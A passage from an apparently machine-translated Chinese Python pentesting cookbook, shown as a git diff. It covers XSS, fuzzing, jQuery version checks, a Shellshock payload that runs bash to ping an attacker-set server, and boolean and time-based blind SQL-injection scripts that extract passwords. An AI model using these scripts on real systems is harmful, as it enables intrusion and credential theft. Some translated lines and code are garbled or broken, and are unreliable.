中可以找到许多示例,我们将在后面的*自动模糊化*部分脚本中使用这些示例。此外,可以使用原始的`urllib`库应用各种形式的编码,该库在本模块的各个不同示例中都有展示。 - -# 基于参数的自动跨站点脚本 - -我已经说过,跨站点脚本编写非常简单。有趣的是,以脚本方式执行存储的跨站点脚本要稍微困难一些。在这一点上,我可能应该收回我先前的话,但无论如何。这里的困难在于系统通常从一个页面获取输入结构,提交到另一个页面,然后返回第三个页面。下面的脚本旨在处理最复杂的结构。 - -我们将创建一个脚本,该脚本接受三个输入值,读取并正确提交所有三个值,并检查是否成功。它与早期的基于 URL 的跨站点脚本共享代码,但在执行上有根本的不同。 - -## 怎么做… - -下面的脚本是功能测试。这是一个脚本,可以在类似于 sublime text 或 IDE 的框架中手动编辑,因为存储的 XSS 可能需要修改: - -``` -import requests -import sys -from bs4 import BeautifulSoup, SoupStrainer -url = "http://127.0.0.1/xss/medium/guestbook2.php" -url2 = "http://127.0.0.1/xss/medium/addguestbook2.php" -url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php" -payloads = ['', 'alert(1);', ''] -initial = requests.get(url) -for payload in payloads: - d = {} - for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')): - if field.has_attr('name'): - if field['name'].lower() == "submit": - d[field['name']] = "submit" - else: - d[field['name']] = payload - req = requests.post(url2, data=d) - checkresult = requests.get(url3) - - if payload in checkresult.text: - print "Full string returned" - print "Attack string: "+ payload -``` - -以下是将此脚本与两个成功字符串一起使用时生成的输出示例: - -``` -Full string returned -Attack string: -Full string returned -Attack string: -``` - -## 它是如何工作的… - -我们一次又一次地导入我们的库,并建立我们要攻击的 URL。这里,`url`是带有要攻击的参数的页面,`url2`是要提交内容的页面,`url3`是检测攻击是否成功的最终读取页面。其中一些 URL 可能是共享的。之所以以这种形式设置它们,是因为很难为存储的跨站点脚本创建点击式脚本: - -``` -url = "http://127.0.0.1/xss/medium/guestbook2.php" -url2 = "http://127.0.0.1/xss/medium/addguestbook2.php" -url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php" -``` - -然后我们建立有效载荷列表。与基于 URL 的 XSS 脚本一样,有效负载和检查值相同: - -``` -payloads = ['', 'alert(1);', ''] -``` - -然后,我们创建一个空字典,将有效负载与每个标识的输入框配对: - -``` -d = {} -``` - -我们的目标是攻击页面中的每个输入参数,因此接下来,我们阅读目标页面: - -``` -initial = requests.get(url) -``` - -然后,我们为放入有效负载列表中的每个值创建一个循环: - -``` -for payload in payloads: -``` - -然后,我们使用`BeautifulSoup`处理页面,这是一个库,允许我们根据页面的标签和定义特征雕刻页面。我们使用它来标识每个输入字段,并选择其名称,以便向其发送内容: - -``` -for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')): - if field.has_attr('name'): -``` - -由于大多数网页中输入框的性质,任何名为`submit`的字段都不是跨站点脚本的目标,而是需要将`submit`作为一个值,以便我们的攻击成功。我们创建了一个`if`函数来检测是否是这种情况,使用`.lower()`函数可以轻松地解释可能使用的大写值。如果该字段不用于验证提交文件,我们将使用当前使用的有效负载进行填充: - -``` -if field['name'].lower() == "submit": - d[field['name']] = "submit" - else: - d[field['name']] = payload -``` - -我们使用`requests`库将现在分配的值发送到 post 请求中的目标页面,正如我们前面所做的: - -``` -req = requests.post(url2, data=d) -``` - -然后,我们加载将呈现内容的页面,并准备将其用于检查结果函数: - -``` -checkresult = requests.get(url3) -``` - -与之前的脚本类似,我们通过在页面上搜索字符串来检查字符串是否成功,如果成功,则打印结果。然后,我们为下一个有效负载重置字典: - -``` -if payload in checkresult.text: - print "Full string returned" - print "Attack string: "+ payload - d = {} -``` - -## 还有更多… - -如前所述,您可以更改此脚本以包含许多结果或从包含多个值的文件中读取。Mozilla 的 FuzzDB,如下面的配方所示,包含大量这些值。 - -以下是一个可用于测试前几节中提供的脚本的设置。它们需要保存为工作所需的文件名,并与 MySQL 数据库一起存储注释。 - -以下是第一个名为`guestbook.php`的界面页面: - -``` - - -
- - - -
- -View Guestbook -``` - -以下脚本为`addguestbook.php`,将您的评论放入数据库中: - -``` -"; - echo "

Hi

"; - -echo "View Guestbook"; -} - -else{ - echo "ERROR"; -} -mysql_close(); -?> -``` - -最后一个脚本是`viewguestbook.php`,它从数据库中提取注释: - -``` - - - - -

Comments

- -\r\n"; -} - -mysql_close(); -?> -``` - -# 自动模糊 - -Fuzzing 是黑客社区的一次粉碎和抢夺。它关注于向页面发送大量无效内容并记录结果。它是 SQL 注入的可复制版本,可以说是渗透测试的基本形式(尽管你的 LOIC 用户可能是生命形式的基本形式)。 - -我们将创建一个脚本,该脚本将从 FuzzDB 元字符文件中获取值,并将其发送到每个可用参数,并记录所有结果。这无疑是一种用蛮力识别漏洞的尝试,需要一个明智的人来检查结果。 - -## 准备好了吗 - -为此,您将需要 Mozilla 提供的 FuzzDB。打印时,可从[获取 https://code.google.com/p/fuzzdb/](https://code.google.com/p/fuzzdb/) 。此脚本特别需要的文件是`fuzzdb`TAR 文件中的`/fuzzdb-1.09/attack-payloads/all-attacks/interesting-metacharacters.txt`。我正在重用 XSS 脚本中的测试 PHP 脚本进行概念验证,但是您可以根据自己的喜好使用它。目的是触发一个错误。 - -## 怎么做… - -脚本如下: - -``` -import requests -import sys -from bs4 import BeautifulSoup, SoupStrainer -url = "http://127.0.0.1/xss/medium/guestbook2.php" -url2 = "http://127.0.0.1/xss/medium/addguestbook2.php" -url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php" - -f = open("/home/cam/Downloads/fuzzdb-1.09/attack-payloads/all- attacks/interesting-metacharacters.txt") -o = open("results.txt", 'a') - -print "Fuzzing begins!" - -initial = requests.get(url) -for payload in f.readlines(): - for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')): - d = {} - - if field.has_attr('name'): - if field['name'].lower() == "submit": - d[field['name']] = "submit" - else: - d[field['name']] = payload - req = requests.post(url2, data=d) - response = requests.get(url3) - - o.write("Payload: "+ payload +"\r\n") - o.write(response.text+"\r\n") - -print "Fuzzing has ended" -``` - -以下是使用此脚本时产生的输出示例: - -``` -Fuzzing has begun! -Fuzzing has ended -``` - -## 它是如何工作的… - -我们导入我们的库。由于这又是一个测试脚本,我们在代码中建立 URL: - -``` -url = "http://127.0.0.1/xss/medium/guestbook2.php" -url2 = "http://127.0.0.1/xss/medium/addguestbook2.php" -url3 = "http://127.0.0.1/xss/medium/viewguestbook2.php" -``` - -然后我们打开两个文件。第一个是 FuzzDB 元字符文件。我已经包含了我的路径,不过可以在您的工作目录中复制该文件。第二个文件将是您写入的文件: - -``` -f = open("/home/cam/Downloads/fuzzdb-1.09/attack-payloads/all-attacks/interesting-metacharacters.txt") -o = open("results.txt", 'a') -``` - -我们创建一个空字典,由参数和攻击字符串填充: - -``` -d = {} -``` - -当脚本将其输出写入文件时,我们需要提供一些文本来显示脚本正在工作,因此我们编写了一条漂亮而简单的消息: - -``` -print "Fuzzing begins!" -``` - -我们阅读接受输入并分配给变量的原始页面: - -``` -initial = requests.get(url) -``` - -我们用`BeautifilSoup`拆分页面,并确定我们需要的唯一字段,即输入字段和名称字段: - -``` -for field in BeautifulSoup(initial.text, parse_only=SoupStrainer('input')): - if field.has_attr('name')@~: -``` - -我们需要再次检查名为 submit 的任何字段是否提供了`submit`作为数据,否则我们将应用我们的攻击字符串: - -``` -if field['name'].lower() == "submit": - d[field['name']] = "submit" - else: - d[field['name']] = payload -``` - -我们首先提交一个 Apple T0.请求发送映射到输入字段的攻击字符串字典,然后我们从页面中请求一个表示输出(第三页之前可能发生错误,因此应该考虑限制的)的 T1 请求。 - -``` -req = requests.post(url2, data=d) - response = requests.get(url3) -``` - -由于输出将很长且杂乱无章,因此我们将输出写入最初打开的文件中,以便于人工查看: - -``` -o.write("Payload: "+ payload +"\r\n") -o.write(response.text+"\r\n") -``` - -我们为下一个攻击字符串重置字典,然后为用户提供一个脚本结束输出,以确保清晰: - -``` -d = {} -print "Fuzzing has ended" -``` - -## 还有更多… - -你可以继续往这个食谱里加点东西。它的设计是开放的,可用于多种类型的输入和攻击。FuzzDB 包含许多不同的攻击字符串,因此所有这些都可以应用。我鼓励你去探索。 - -## 另见 - -您可以像我所做的那样,对存储的 XSS PHP 页面进行测试。 - -# jQuery 检查 - -检查较少但更严重的 OWASP 前 10 个漏洞之一是使用具有已知漏洞的库或模块。这通常意味着 web 框架的版本已经过时,但也包括执行特定功能的 JavaScript 库。在这种情况下,我们检查 jQuery;我已经用这个脚本检查了其他库,但出于示例的目的,我将继续使用 jQuery。 - -我们将创建一个脚本,用于标识站点是否使用 jQuery,检索它的版本号,然后将其与最新版本号进行比较,以确定它是否是最新的。 - -## 怎么做… - -以下是我们的脚本: - -``` -import requests -import re -from bs4 import BeautifulSoup -import sys - -scripts = [] - -if len(sys.argv) != 2: - print "usage: %s url" % (sys.argv[0]) - sys.exit(0) - -tarurl = sys.argv[1] -url = requests.get(tarurl) -soup = BeautifulSoup(url.text) -for line in soup.find_all('script'): - newline = line.get('src') - scripts.append(newline) - -for script in scripts: - if "jquery.min" in str(script).lower(): - url = requests.get(script) - versions = re.findall(r'\d[0-9a-zA-Z._:-]+',url.text) - if versions[0] == "2.1.1" or versions[0] == "1.12.1": - print "Up to date" - else: - print "Out of date" - print "Version detected: "+versions[0] -``` - -以下是使用此脚本时生成的输出示例: - -``` -http://candycrate.com -Out of Date -Version detected: 1.4.2 -``` - -## 它是如何工作的… - -一如既往,我们导入我们的库并创建一个空库来容纳我们未来确定的脚本: - -``` -scripts = [] -``` - -对于这个脚本,我们创建了一个简单的使用指南,用于检测是否提供了 URL。读取`sys.argv`的编号,如果不等于`2`,包括脚本本身,则打印出一个指南: - -``` -if len(sys.argv) != 2: - print "usage: %s url" % (sys.argv[0]) - sys.exit(0) -``` - -我们从`sys.argv`列表中获取我们的目标 URL 并打开它: - -``` -tarurl = sys.argv[1] -url = requests.get(tarurl) -``` - -和以前一样,我们用漂亮的汤把书页拆开;然而,这一次我们正在识别脚本并提取它们的`src`值,以便获得所使用的`js`库的 URL。这收集了所有可能成为 jQuery 的库。请记住,如果您扩展使用范围以包括不同类型的库,此 URL 列表可能非常有用: - -``` -for line in soup.find_all('script'): - newline = line.get('src') - scripts.append(newline) -``` - -对于每个已识别的脚本,我们随后检查是否有提及`jquery.min`,这将表明核心 jQuery 文件: - -``` -for script in scripts: - if "jquery.min" in str(script).lower(): -``` - -然后,我们使用正则表达式来标识版本号。在 jQuery 文件中,这将是第一个适合给定正则表达式的内容。正则表达式查找`0-9`或`a-z`,后跟一个重复无数次的周期。这是大多数版本号采用的格式,jQuery 也不例外: - -``` -versions = re.findall(r'\d[0-9a-zA-Z._:-]+',url.text) -``` - -`re.findall`方法查找与此正则表达式匹配的所有字符串;然而,正如前面提到的,我们只想要第一个。我们用注释`[0]`来标识它。我们检查这是否等于编写本文时当前 jQuery 版本的硬编码值。这些将需要手动更新。如果该值等于当前版本中的任何一个,脚本将声明该值为最新版本,或者,如果该值不等于当前版本,脚本将打印检测到的版本以及过期消息: - -``` -if versions[0] == "2.1.1" or versions[0] == "1.12.1": - print "Up to date" - else: - print "Out of date" - print "Version detected: "+versions[0] -``` - -## 还有更多… - -这个方法显然是可扩展的,只需添加检测字符串和版本,就可以应用于任何 JavaScript 库。 - -如果要扩展字符串以包含其他库,例如不安全的 Django 或 flask 库,则必须修改脚本以处理声明它们的替代方式,因为它们显然没有声明为 JavaScript 库。 - -# 基于头的跨站点脚本 - -到目前为止,我们一直专注于通过 URL 和参数发送有效负载,这是执行攻击的两种明显方法。然而,有许多丰富而肥沃的脆弱性来源往往未被触及。其中一个将在[第 6 章](23.html "Chapter 6. Image Analysis and Manipulation")、*图像分析与处理*中进行深入介绍,我们现在可以对其进行介绍。日志通常保存访问网页的用户的特定标题。通过在头中执行 XSS 攻击来检查这些日志可能是一项值得的活动。 - -我们将创建一个脚本,该脚本将 XSS 攻击字符串提交到所有可用的头,并通过几个可能的 XSS 攻击循环。我们将提供一个有效负载的简短列表,抓取所有的标题,并按顺序提交它们。 - -## 准备好了吗 - -确定要测试的 URL。请参见本例末尾的 PHP 网页,该网页可以使用脚本来测试脚本的有效性。 - -## 怎么做… - -确定目标网页后,将其作为命令行参数传递给脚本。您的脚本应与以下脚本中所示的相同: - -``` -import requests -import sys -url = sys.argv[1] -payloads = ['', 'alert(1);', ''] -headers ={} -r = requests.head(url) -for payload in payloads: - for header in r.headers: - headers[header] = payload - req = requests.post(url, headers=headers) -``` - -该脚本不会提供任何输出,因为它以功能的管理端为目标。但是,您可以通过以下方式轻松设置它,以便在每个循环上提供输出: - -``` -Print "Submitted "+payload -``` - -每次都会返回以下内容: - -``` -Submitted -``` - -## 它是如何工作的… - -我们导入此脚本所需的库,并以`sys.argv`函数的形式进行输入。在这一点上,你应该相当相信这一点。 - -再一次,我们可以将有效负载声明为列表,而不是字典,因为我们将把它们与网页提供的值配对。我们还创建了一个空字典来存放我们未来的攻击配对: - -``` -payloads = ['', 'alert(1);', ''] -headers ={} -``` - -然后我们向网页发出`HEAD`请求,只返回我们攻击的页面的标题。`HEAD`请求可能被禁用,尽管可能性不大;但是,如果是,我们可以用标准的`GET`请求来代替: - -``` -r = requests.head(url) -``` - -我们循环使用前面设置的有效负载和从前面`HEAD`请求中提取的头文件: - -``` -for payload in payloads: - for header in r.headers: -``` - -对于每个有效负载和头,我们将它们成对添加到前面设置的空字典中: - -``` -headers[header] = payload -``` - -对于有效载荷的每个迭代,我们随后提交所有具有该有效载荷的头部,因为我们显然不能提交每个头部的多个: - -``` -req = requests.post(url, headers=headers) -``` - -由于攻击的活动部分发生在管理员的客户端,因此需要使用管理员帐户进行手动检查,或者需要联系管理员以查看是否在日志记录链中的任何位置激活了攻击。 - -## 另见 - -以下是可用于测试前面脚本的设置。这与早期的 XSS 检查脚本非常相似。这里的区别是,传统的 XSS 方法将由于`strip_tags`函数而失败。它演示了需要使用非常规方法执行攻击的情况。显然,在注释中返回用户代理是人为的,尽管这在野外很常见。它们需要保存为工作所需的文件名,并与 MySQL 数据库一起存储注释。 - -以下是第一个名为`guestbook.php`的界面页面: - -``` - - -
- - - -
- -View Guestbook -``` - -以下脚本为`addguestbook.php`,将您的评论放入数据库中: - -``` -"; - -echo "View Guestbook"; -} - -else{ - echo "ERROR"; -} -mysql_close(); -?> -``` - -最后一个脚本是`viewguestbook.php`,它从数据库中提取注释: - -``` -Comments\r\n"; - -while($field = mysql_fetch_assoc($result)) { - $trimmedname = strip_tags($field['name']); - $trimmedcomment = strip_tags($field['comment']); - echo "Name: " . $trimmedname . "\t"; - echo "Comment: " . $trimmedcomment . "
\r\n"; - } - -echo ""; - -mysql_close(); -?> -``` - -# 壳体冲击检查 - -远离针对 web 服务器的标准攻击方式,我们将快速了解 Shellshock,这是一个漏洞,允许攻击者通过特定的头发出 shell 命令。这一漏洞在 2014 年抬头,并迅速成为当年最大的漏洞之一。虽然它现在大部分已经修复,但它是一个很好的例子,说明了如何操纵 web 服务器来执行更复杂的攻击,并且在未来几年内可能成为**常见传输文件**(**CTFs**中的一个常见目标。 - -我们将创建一个脚本,用于下拉页面的标题,确定是否存在易受攻击的标题,并向该标题提交一个示例负载。此脚本依赖于支持此攻击的外部基础设施来收集受损设备呼叫。 - -## 准备好了吗 - -确定要测试的 URL。确定目标网页后,将其作为`sys.argv`传递给脚本: - -## 怎么做… - -您的脚本应与以下脚本相同: - -``` -import requests -import sys -url = sys.argv[1] -payload = "() { :; }; /bin/bash -c 'ping –c 1 –p pwnt '" -headers ={} -r = requests.head(url) -for header in r.headers: - if header == "referer" or header == "User-Agent": - headers[header] = payload -req = requests.post(url, headers=headers) -``` - -该脚本不会提供输出,因为它以功能的管理端为目标。但是,您可以通过以下方式轻松设置它,以便在每个循环上提供输出: - -``` -Print "Submitted "+payload -``` - -每次都会返回以下内容: - -``` -Submitted -``` - -## 它是如何工作的… - -我们导入这个脚本所需的库,并以`sys.argv`函数的形式进行输入。这有点重复,但它完成了工作。 - -我们将有效载荷声明为单个实体。如果希望在服务器上执行多个操作,可以将其作为有效负载,类似于前面的操作。我们还为标题有效负载组合创建一个空字典,并向目标 URL 发出`HEAD`请求: - -``` -payload = "() { :; }; /bin/bash -c 'ping –c 1 –p pwnt '" -headers ={} -r = requests.head(url) -``` - -此处设置的有效负载将 ping 您在``空间设置的任何服务器。它将在该 ping 中发送一条消息,即`pwnt`。这允许您确定服务器实际上已被破坏,而不仅仅是随机服务器。 - -然后,我们通过检查我们在初始`HEAD`请求中拉入的每个头,并检查是否有`referrer`或`User-Agent`头,这些头容易受到炮击攻击。如果这些标头存在,我们将针对该标头发送攻击字符串: - -``` -for header in r.headers: - if header == "referer" or header == "User-Agent": - headers[header] = payload -``` - -一旦我们确定了我们的头是否存在,并且针对它们设置了攻击字符串,我们就启动请求。如果成功,消息应显示在我们的日志中: - -``` -req = requests.post(url, headers=headers) -``` \ No newline at end of file diff --git a/trans/py-pentest-dev/21.md b/trans/py-pentest-dev/21.md deleted file mode 100644 index 58ed334..0000000 --- a/trans/py-pentest-dev/21.md +++ /dev/null @@ -1,602 +0,0 @@ -# 第四章 SQL 注入 - -在本章中,我们将介绍以下主题: - -* 检查抖动 -* 识别基于 URL 的 SQLi -* 利用布尔 SQLi -* 利用盲 SQLi -* 编码有效载荷 - -# 导言 - -SQL 注入是一种响亮而嘈杂的攻击,在你所看到的每一家与技术相关的媒体提供商中,它都会让你感到头晕目眩。这是近代历史上最常见和最具破坏性的袭击之一,并在新设施中继续蓬勃发展。本章重点介绍如何执行和支持 SQL 注入攻击。我们将创建脚本,对攻击字符串进行编码,执行攻击,并对正常操作计时,以规范化攻击时间。 - -# 检查抖动 - -执行基于时间的 SQL 注入的唯一困难是各地游戏玩家的瘟疫——滞后。一个人可以很容易地坐下来,在精神上解释滞后,获取一系列返回值,然后明智地检查输出,并计算出*cgris*是*chris*。对于一台机器来说,这要困难得多;因此,我们应该努力减少延误。 - -我们将创建一个脚本,该脚本向服务器发出多个请求,记录响应时间并返回平均时间。该可用于计算被称为**抖动**的基于时间的攻击中响应的波动。 - -## 怎么做… - -识别要攻击的 URL,并通过`sys.argv`变量提供给脚本: - -``` -import requests -import sys -url = sys.argv[1] - -values = [] - -for i in xrange(100): - r = requests.get(url) - values.append(int(r.elapsed.total_seconds())) - -average = sum(values) / float(len(values)) -print “Average response time for “+url+” is “+str(average) -``` - -以下屏幕截图是使用此脚本时产生的输出示例: - -![How to do it…](graphics/B04044_04_01.jpg) - -## 它是如何工作的… - -我们导入这个脚本所需的库,就像到目前为止我们在这个模块中完成的所有其他脚本一样。我们将计数器`I`设置为零,并为即将生成的时间创建一个空列表: - -``` -while i < 100: - r = requests.get(url) - values.append(int(r.elapsed.total_seconds())) - i = i + 1 -``` - -使用计数器`I`,我们对目标 URL 运行`100`请求,并将请求的响应时间附加到我们之前创建的列表中。`R.elapsed`是一个`timedelta`对象,不是整数,因此必须使用`.total_seconds()`调用,以便为我们以后的平均值获取一个可用的数字。然后,我们在计数器中添加一个以说明此循环,以便脚本适当结束: - -``` -average = sum(values) / float(len(values)) -print “Average response time for “+url+” is “+average -``` - -循环完成后,我们计算`100`请求的平均值,方法是用`sum`计算列表的总值,然后用`len`除以列表中的值数。 - -然后,为了便于理解,我们返回一个基本输出。 - -## 还有更多… - -这是执行此操作的一种非常基本的方式,并且仅作为独立脚本来真正执行该功能,以证明一点。要作为另一个脚本的一部分执行,我们将执行以下操作: - -``` -import requests -import sys - -input = sys.argv[1] - -def averagetimer(url): - - i = 0 - values = [] - - while i < 100: - r = requests.get(url) - values.append(int(r.elapsed.total_seconds())) - i = i + 1 - - average = sum(values) / float(len(values)) - return average - -averagetimer(input) -``` - -# 识别基于 URL 的 SQLi - -所以,我们之前已经研究过 XSS 和错误消息的模糊化。这一次,我们正在做一些类似的事情,但是使用 SQL 注入。任何 SQLi 的关键都是以单引号、勾号或撇号开头,这取决于您个人对单词的选择。我们在目标 URL 中打勾,并检查响应,以查看成功后运行的 SQL 版本。 - -我们将创建一个脚本,将基本 SQL 注入字符串发送到目标 URL,记录输出,并与错误消息中的已知短语进行比较,以识别底层系统。 - -## 怎么做… - -我们将使用的脚本如下所示: - -``` -import requests - -url = “http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id=” -initial = “'” -print “Testing “+ url -first = requests.post(url+initial) - -if “mysql” in first.text.lower(): - print “Injectable MySQL detected” -elif “native client” in first.text.lower(): - print “Injectable MSSQL detected” -elif “syntax error” in first.text.lower(): - print “Injectable PostGRES detected” -elif “ORA” in first.text.lower(): - print “Injectable Oracle detected” -else: - print “Not Injectable J J” -``` - -以下是使用此脚本时产生的输出示例: - -``` -Testing http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id= -Injectable MySQL detected - -``` - -## 它是如何工作的… - -我们导入库并手动设置 URL。如果需要,我们可以将其设置为`sys.argv`变量;但是,我在这里硬编码它以显示预期的格式。我们将初始注入字符串设置为单引号,并打印测试开始: - -``` -url = “http://127.0.0.1/SQL/sqli-labs-master/Less-1/index.php?id=” -initial = “'” -print “Testing “+ url -``` - -我们提出第一个请求,作为我们提供的 URL 和撇号: - -``` -first = requests.post(url+initial) -``` - -接下来的几行是我们用来识别底层数据库的检测方法。MySQL 的标准错误是: - -``` -You have an error in your SQL syntax; check the manual -that corresponds to your MySQL server version for the -right syntax to use near '\'' at line 1 - -``` - -相应地,我们的检测尝试读取响应文本并搜索`MySQL`字符串,如果是,则打印出尝试成功: - -``` -if “mysql” in first.text.lower(): - print “Injectable MySQL detected” -``` - -对于 MS SQL,错误消息示例如下: - -``` -Microsoft SQL Native Client error '80040e14' -Unclosed quotation mark after the character string - -``` - -由于存在多个潜在错误消息,我们需要识别一个常数,该常数在尽可能多的错误消息中出现。为此,我选择了`native client,`,但`Microsoft SQL`也可以使用: - -``` -elif “native client” in first.text.lower(): - print “Injectable MSSQL detected” -``` - -PostgreSQL 的标准错误消息是: - -``` -Query failed: ERROR: syntax error at or near -“'” at character 56 in /www/site/test.php on line 121. - -``` - -有趣的是,对于 SQL 中经常出现的语法错误,唯一经常使用`syntax`这个词的解决方案是`PostGRES,`,它允许我们使用它作为区别词: - -``` -elif “syntax error” in first.text.lower(): - print “Injectable PostGRES detected” -``` - -我们检查的最后一个系统是 Oracle。Oracle 的错误消息示例如下: - -``` -ORA-00933: SQL command not properly ended - -``` - -ORA 是大多数 Oracle 错误的前缀,因此可以在此处用作标识符。只有少数附带情况下,非 ORA 错误消息会应用于尾随勾号: - -``` -elif “ORA” in first.text.lower(): - print “Injectable Oracle detected” -``` - -在这些都不适用的情况下,我们有一个最终的`else`语句,声明该参数不可注入,并且在选取该参数时出错。 - -以下屏幕截图显示了一个示例输出: - -![How it works…](graphics/B04044_04_02.jpg) - -## 还有更多… - -将此脚本与[第 1 章](18.html "Chapter 1. Gathering Open Source Intelligence")中的蜘蛛*收集开源情报*相结合,将有助于快速有效地识别网页中的可注入 URL。识别要注入的参数的方法是必要的,在大多数情况下,可以通过简单的正则表达式操作来实现。 - -奥迪-1 制作了一套有用的 SQLi 测试页面,可在[找到 https://github.com/Audi-1/sqli-labs](https://github.com/Audi-1/sqli-labs) 。 - -# 利用布尔 SQLi - -有时候,你从一个页面上只能得到一个“是”或“否”。这让人心碎,直到你意识到这就是说“我爱你”的 SQL 等价物。根据您的耐心程度,所有 SQLi 都可以分解为是或否问题。 - -我们将创建一个脚本,该脚本接受一个`yes`值和一个 URL,并根据预定义的攻击字符串返回结果。我已经提供了一个示例攻击字符串,但这将根据您正在测试的系统而改变。 - -## 怎么做… - -以下脚本是您的脚本的外观: - -``` -import requests -import sys - -yes = sys.argv[1] - -i = 1 -asciivalue = 1 - -answer = [] -print “Kicking off the attempt” - -payload = {'injection': '\'AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'} - -while True: - req = requests.post('' data=payload) - lengthtest = req.text - if yes in lengthtest: - length = i - break - else: - i = i+1 - -for x in range(1, length): - while asciivalue < 126: -payload = {'injection': '\'AND (substr(password, '+str(x)+', 1)) = '+ chr(asciivalue)+';#', 'Submit': 'submit'} - req = requests.post('', data=payload) - if yes in req.text: - answer.append(chr(asciivalue)) -break - else: - asciivalue = asciivalue + 1 - pass -asciivalue = 0 -print “Recovered String: “+ ''.join(answer) -``` - -## 它是如何工作的… - -首先,用户必须识别只有在 SQLi 成功时才会出现的字符串。或者,可以修改脚本以响应缺少失败 SQLi 证据的情况。我们将此字符串作为一个`sys.argv`变量提供。我们还创建了两个迭代器,我们将在这个脚本中使用它们,并将它们设置为`1`,因为 MySQL 从`1`开始计数,而不是像失败的系统一样从`0`开始计数。我们还为将来的答案创建一个空列表,并指示用户脚本正在启动: - -``` -yes = sys.argv[1] - -i = 1 -asciivalue = 1 -answer = [] -print “Kicking off the attempt” -``` - -这里的有效负载基本上请求我们试图返回的密码的长度,并将其与将被迭代的值进行比较: - -``` -payload = {'injection': '\'AND char_length(password) = '+str(i)+';#', 'Submit': 'submit'} -``` - -然后我们永远重复下一个循环,因为我们不知道密码有多长。我们在`POST`请求中将有效负载提交到目标 URL: - -``` -while True: - req = requests.post('' data=payload) -``` - -每次检查我们最初设置的`yes`值是否存在于响应文本中,如果存在,则结束 while 循环,将当前值`i`设置为参数长度。`break`命令是结束`while`循环的部分: - -``` -lengthtest = req.text - if yes in lengthtest: - length = i - break -``` - -如果我们没有检测到`yes`值,我们将`1`添加到`i`并继续循环: - -``` -Ard. -else: - i = i+1 -``` - -使用目标字符串的标识长度,我们迭代每个字符,并使用`asciivalue`遍历该字符的每个可能值。对于每个值,我们将其提交到目标 URL。因为 ascii 表只运行到`127`,所以我们将循环设置为运行到`asciivalue`达到`126`为止。如果达到`127`,则表示出现问题: - -``` -for x in range(1, length): - while asciivalue < 126: -payload = {'injection': '\'AND (substr(password, '+str(x)+', 1)) = '+ chr(asciivalue)+';#', 'Submit': 'submit'} - req = requests.post('', data=payload) -``` - -我们检查响应中是否存在 yes 字符串,如果存在,则中断以转到下一个字符。我们将成功消息以字符形式附加到应答字符串,并使用`chr`命令进行转换: - -``` -if yes in req.text: - answer.append(chr(asciivalue)) -break -``` - -如果`yes`值不存在,我们将`asciivalue`添加到该位置的下一个潜在角色并通过: - -``` -else: - asciivalue = asciivalue + 1 - pass -``` - -最后,我们为每个循环重置`asciivalue`,然后当循环到达字符串长度时,我们完成,打印整个恢复的字符串: - -``` -asciivalue = 1 -print “Recovered String: “+ ''.join(answer) -``` - -## 还有更多… - -这个脚本可能会被修改,以便通过更好的 SQL 注入字符串处理表中的迭代和恢复多个值。最终,这为开发更复杂和令人印象深刻的脚本以处理具有挑战性的任务提供了一个基础,就像后来的盲 SQL 注入脚本一样。有关这些概念的高级实现,请参见*利用盲 SQL 注入*脚本。 - -# 利用盲 SQL 注入 - -有时候,生活会给你柠檬;盲目的 SQL 注入点就是其中的一些柠檬。当您合理地确定已发现 SQL 注入漏洞,但没有错误且无法让它返回数据时,在这些情况下,您可以使用 SQL 中的计时命令使页面暂停以返回响应,然后使用该计时对数据库及其数据进行判断。 - -我们将创建一个脚本,该脚本向服务器发出请求,并根据请求的字符返回不同时间的响应。然后它将读取这些时间并重新组合字符串。 - -## 怎么做… - -脚本如下: - -``` -import requests - -times = [] -print “Kicking off the attempt” -cookies = {'cookie name': 'Cookie value'} - -payload = {'injection': '\'or sleep char_length(password);#', 'Submit': 'submit'} -req = requests.post('' data=payload, cookies=cookies) -firstresponsetime = str(req.elapsed.total_seconds) - -for x in range(1, firstresponsetime): - payload = {'injection': '\'or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'} - req = requests.post('', data=payload, cookies=cookies) - responsetime = req.elapsed.total_seconds - a = chr(responsetime) - times.append(a) - answer = ''.join(times) -print “Recovered String: “+ answer -``` - -## 它是如何工作的… - -一如既往,我们导入所需的库,并声明稍后需要填写的列表。我们这里还有一个函数,它声明脚本确实已经开始了。使用一些基于时间的功能,用户可以等待一段时间。在这个脚本中,我还包括了使用`request`库的 cookies。对于此类攻击,可能需要进行身份验证: - -``` -times = [] -print “Kicking off the attempt” -cookies = {'cookie name': 'Cookie value'} -``` - -我们在字典中设置了有效负载以及提交按钮。攻击字符串非常简单,可以通过一些解释来理解。初始勾号必须转义,才能作为字典中的文本处理。这个记号最初会打断 SQL 命令,并允许我们输入自己的 SQL 命令。接下来,我们说在第一个命令失败的情况下,使用`OR`执行以下命令。然后,我们告诉服务器为密码列第一行中的每个字符休眠一秒钟。最后,我们用分号结束语句,并用散列注释掉任何尾随字符(如果您是美国人和/或是错的话,可以用英镑): - -``` -payload = {'injection': '\'or sleep char_length(password);#', 'Submit': 'submit'} -``` - -然后,我们将服务器响应的时间长度设置为`firstreponsetime`参数。我们将利用这一点来了解在以下链中需要多少字符通过此方法进行暴力: - -``` -firstresponsetime = str(req.elapsed).total_seconds -``` - -我们创建一个循环,将`x`设置为从`1`到所标识字符串长度的所有数字,并对每个数字执行一个操作。我们从`1`开始,因为 MySQL 从`1`开始计数,而不是像 Python 一样从零开始计数: - -``` -for x in range(1, firstresponsetime): -``` - -我们制作了一个与前面类似的有效负载,但这次我们说的是在第一行密码列中密码的`X`字符的 ascii 值的 sleep。因此,如果第一个字符是小写字母 a,那么相应的 ascii 值是 97,因此系统将休眠 97 秒。如果是小写 b,它将睡眠 98 秒,依此类推: - -``` -payload = {'injection': '\'or sleep(ord(substr(password, '+str(x)+', 1)));#', 'Submit': 'submit'} -``` - -我们每次提交字符串中每个字符位置的数据: - -``` -req = requests.post('', data=payload, cookies=cookies) -``` - -我们获取每个请求的响应时间来记录服务器睡眠的时间,然后将该时间从 ascii 值转换回字母: - -``` -responsetime = req.elapsed.total_seconds - a = chr(responsetime) -``` - 